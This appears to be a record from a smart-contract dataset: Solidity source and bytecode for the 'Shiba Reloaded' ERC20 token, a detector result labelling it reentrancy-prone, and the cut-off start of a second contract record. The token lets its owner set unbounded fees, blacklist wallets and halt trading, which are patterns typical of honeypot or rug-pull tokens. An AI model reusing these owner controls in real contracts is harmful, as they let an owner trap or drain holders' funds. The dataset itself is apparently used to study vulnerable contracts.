uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaReloaded is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Reloaded"; string private constant _symbol = "SHIBR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7A5aC4fF14E4BDD4D91E302D8aBADA696aCC2d37); address payable private _marketingAddress = payable(0xB872C91823f1f1Be59E454E8AC1BeFbaB95ddD2A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b557600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611955565b610600565b005b34801561020a57600080fd5b5060408051808201909152600e81526d14da1a58984814995b1bd859195960921b60208201525b60405161023e9190611a1a565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a6f565b61069f565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611a9b565b6106b6565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611adc565b61071f565b34801561037257600080fd5b506101fc610381366004611b09565b61076a565b34801561039257600080fd5b506101fc6107b2565b3480156103a757600080fd5b506102c66103b6366004611adc565b6107fd565b3480156103c757600080fd5b506101fc61081f565b3480156103dc57600080fd5b506101fc6103eb366004611b24565b610893565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611adc565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b09565b6108c2565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600581526429a424a12960d91b6020820152610231565b3480156104c157600080fd5b506101fc6104d0366004611b24565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b3d565b610939565b34801561050157600080fd5b50610267610510366004611a6f565b610977565b34801561052157600080fd5b50610267610530366004611adc565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b6f565b6109d8565b34801561058657600080fd5b506102c6610595366004611bf3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b24565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611adc565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c2c565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c61565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c8d565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c2c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c2c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c2c565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c2c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c2c565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c2c565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c2c565b60005b82811015610a73578160056000868685818110610a2457610a24611c61565b9050602002016020810190610a399190611adc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c8d565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c2c565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c2c565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611ca8565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611464565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a1a565b5060006112238486611cc0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d7611492565b90506112e383826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c61565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611cd7565b816001815181106113c2576113c2611c61565b6001600160a01b0392831660209182029290920101526014546113e89130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611421908590600090869030904290600401611cf4565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611471576114716114f7565b61147c848484611525565b80610a7357610a73600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115378761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156990876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115989086611729565b6001600160a01b0389166000908152600260205260409020556115ba81611788565b6115c484836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163782826114b5565b82101561165357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b815260040161062a9190611a1a565b5060006112238486611d65565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b7611492565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117368385611ca8565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b6000611792611492565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b5565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826118aa575060006106b0565b60006118b68385611d87565b9050826118c38583611d65565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561195081611930565b919050565b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661191a565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61191a565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff85611945565b845293850193928501926119ee565b98975050505050505050565b600060208083528351808285015260005b81811015611a4757858101830151858201604001528201611a2b565b81811115611a59576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8257600080fd5b8235611a8d81611930565b946020939093013593505050565b600080600060608486031215611ab057600080fd5b8335611abb81611930565b92506020840135611acb81611930565b929592945050506040919091013590565b600060208284031215611aee57600080fd5b81356112e381611930565b8035801515811461195057600080fd5b600060208284031215611b1b57600080fd5b6112e382611af9565b600060208284031215611b3657600080fd5b5035919050565b60008060008060808587031215611b5357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8457600080fd5b833567ffffffffffffffff80821115611b9c57600080fd5b818601915086601f830112611bb057600080fd5b813581811115611bbf57600080fd5b8760208260051b8501011115611bd457600080fd5b602092830195509350611bea9186019050611af9565b90509250925092565b60008060408385031215611c0657600080fd5b8235611c1181611930565b91506020830135611c2181611930565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca157611ca1611c77565b5060010190565b60008219821115611cbb57611cbb611c77565b500190565b600082821015611cd257611cd2611c77565b500390565b600060208284031215611ce957600080fd5b81516112e381611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d445784516001600160a01b031683529383019391830191600101611d1f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da157611da1611c77565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a1b1edb8ba76375cc739c6b32c90c9f49d11e477710421d64eca186da502fbe64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,421
0xa3774de605b5B0FFdA12815da7CfB226D054a493
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ //SPDX-License-Identifier: MIT /** // .....,,,,,,,,,,//////////(((%&&%%%%&&&&@@@@@@&&&&&&%%&&&%%&%*##((/(/*,,,********(##%&&&&@@@@@@@@@@@@@(,.......,,,,,**(** // ,,,,,,,,,********////((#%%&&&&&&&&&&&&&&&&&&&&%%%%&%&&&%%&%%%%%&%&&&&&&&%#*/*****/((#%&&&&&&&&@@@@@@@@@@*,........,,,,** // ,,,,,,,*****/////((#%%&&&&&&&&&&&&&@@&&&&&&&%%%%%%%%&&&&&@@&%&&&&&&&&&@@@@@@&%/***///(#%&&&&&&&&%%%%%%&@/,..........,,,, // ,,,,,,,***///((##%&&&&&&&&&&&&&&&&&@@&&&&&&%%%%&&&&&@&@@@@@&@@@@@@@@@@@@@@@@@@&&%//**//(#(#&&%%#%%%#(##@#,...........,,, // ,,,,,,,,,,,****//((#&&&&&&&&&&&&&&&&&&&&%%&&&&&@&@@&@&@&&&&&&&&@@@@@@@@@@@@@@&&@@&#/***/(##%##((#%(//(&@%,...........,,, // ,,,,,,,,,,,,,,*****//(#&@@@@@@@&&&&&&&&&&&&%&&&&&&&&&%%%(############%%&&@@@&@&@@@@&%(//(####(/(//(//&@@&*,,..........,, // **,,,,,,,,,,,,,,,,,,,**//%@@@@&&&&&&&&&&&&&%&&%%##((//**************///(#%&&@@@&&&@&&&#(((#(((///(%@@@&&&/,,.......,,,,, // /****,,,,,,,,,,,.,,,,,,,**/#&&&&&&&&&&&%%#(((////****,,,,,,,,********/////(#%%&&&&&&&&%(((((####&@@@@&&@&(,,.,,,,,,,.,,, // %(****,,,,,,,,,,......,,,,**/(%&%&&&&&((////*****,,,,,,,,,,,,,,******//////(##%%&&&&&&%#((((((#%&@@@&&@&&&*****,,,,,,,** // &&%(****,,,,,,,,,,,..,,,,,,,**/(&&&%%(/////***,,,,,,,,,,,,,,,,,******//////((#%%%%%&&&&%((((((#%&@@@@@@@@@#////////***** // &&&&%(****,,,,,,,,,,.,,,,,,,,,*/%&&%#//*******,,,,,,,,,,,,,,,,,,*******////((##%%%%&&%&&((((((#%&@@@&@@@@@@#/////(((((// // %&&&&&%/****,,,,,,,,,,,,,,,,,,,*%&&%(///*******,,,,,,,,,,,,,,,,,*******//////(##%%%%&&&%((//(####&@@@@@@@@@&(((((((((((( // %%&&&&&&%/****,,,,,,,,,,,,,,,,,,#&&#(////******,,,,,,,,,,,,,,,,,,*****/////////(#%%%%&&%///((##((#&&@@@@@@&&(((###(((((( // %%&&&&&&&&%/****,,,,,,,,,,,,,,,,*&&#////***/**,*,,,,,,,,,,,,**(###(/(//((/////(((%%%%%%#*//(((((/(#&@@@@@@&&((######(((( // %%%&&&&&&&&&%(*****,,,,,,,,,,,,,*%%(////************,,,***((/#%%%%#%%%%&&(/((/#&@@@@&&&//(((//***/(#%@@@@@@&#((######((( // %%&&&&&&&&&&&&&(/*****,,,,,,,,,,,,&((((((#(##/**(/(/**//&&&&&&@@&&@&&@@@@&##&@@%#%%#((/(#%#******//((#%@@@&&%/((#######( // %%%&&&&&&&&&&&&&&%(/******,,,,,,,,,%(%@@@@&@@&&&@@@@*///#@@@@@@@@@@@@@@@@@@#((((((%#(/(/(((/******/////(%&&&(//((####### // %%%&&@&&&&&&&&&&&&&&%/**********,,*#@@@@@@@@@@@@@@@@//***#@@@@@@@@@@@@@@@&&(//((((#((%#//(//*************//////(((###### // %%%&&&&&&&&&&&&&&&&&@@@%/*********#@@@@@@@@@@@@@@@@@%/*,**/%@@@@@@@@@@@@@@%///((((((/(#(/(/*******,........,.*/((((##### // %&&&&@@&&&&&&&&&&&&@@@@@@&#/********/@@@@@@@@@@@@@@%(/*,,*/((###&@@@@@&%#(/(//((((((/((//(/***...... .......,**/(((##### // &&&&&@&&&&&&&&&&&&&@@@@@&&&&&#/***,,,/@@@@@@@@@@@&#(/*,..*//*/(/*,,,,,,**///(/(/((((//////,. .. ..,,,**/(((#### // &&&@@@&&&&&&&&&&&&&&@@&&&&@@@@@&(/**,,(((%&#%%#/**//(#***/#%#///*,,,,,,**//(((/(((((////(# .... . .,,****/(((### // &&@@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@%(***(((//********((//*******,,,,,,,,**/((((///(((#%#(((((,. . .. ..******///(### // &&&@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@%(((((//**********,,,,,,,,,***,,,****///////((##(((((((//(&&&/. ..******////(## // &&@@@@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@&(/////*********////(#((((##(/*****/////(/(((#(((/((//&&&&&&&&&(* ..,///*//////(( // &&@@@@@@&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@((////*****/(#(**,,****////*******/////((((#%(/(/((%@@&&&&&&&&&&&&&&#(////////(( // &&&&&@@@@@&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@(((///***////****/***///*//*****/////((((%%#((//(@@&&&&&&&&&&&&&&&&&&&&&&&(//(( // &&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@(((///***///*******************///(((#%%%(((//(&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&% // &&&&&&&&&&%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@#(((///////*,,,,,,*,,*/******//((#%&&%((((//((@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&& // &&@@&@@@&&%%&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/((/////**,,,**,,,**/**//((#%%&%%##(((((/((@@&&&&&&&&&&%&%&&&&&&&&&&&&&&&&& // (*. .#&@&&%%&&&&@@@@@@@@@@@@@@@&@@@@@@@@@@&&&@@&&#((//****,***////((#%%&&&%###(((((((((%@@@&&&&&&&&&&&%&&&&&&&&&&&&&&&&& // ####((((((#%&&&&&&&&&&&&&&&&&&&&&&&&&&&%*.&&&@&@@@@@&@%###%%%&&&&&&&&&%%######((((((((#@@@&&&&&&&&&&&&%&&&&&&&&&&&&&&&&& // ############((##%%&&&&&&&&&&&&&&&&&#. %@&&&&@@@@@@@@@@@@##%%&&&&&%%#######(((((((((%@@@@&&&&&&&&%%&%&&&&&&&&&&&&&&&&&& // #################((##%&&&&&&&&&&/. ,&@@&&&&@@@@@@@@@@@@@@%#((((((######((((((((((/&@@@@&&&&&&&%&&&&&&&&&&&&&&&&&&&&&&& // #####################((#%&&@@&&, .&@@&&&@@@@@@@@@@@@@@@@@@####((#((//////*/*////&@&&@&&&&&&&&%&&&&&&&&&&&&&&&&&&&&&&& // ######################(###%&&(. .&&@&&&@@@@@@@@@@@@@@@@@@@@@%#####((((//****/**&@&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& // ########################(##%%%. 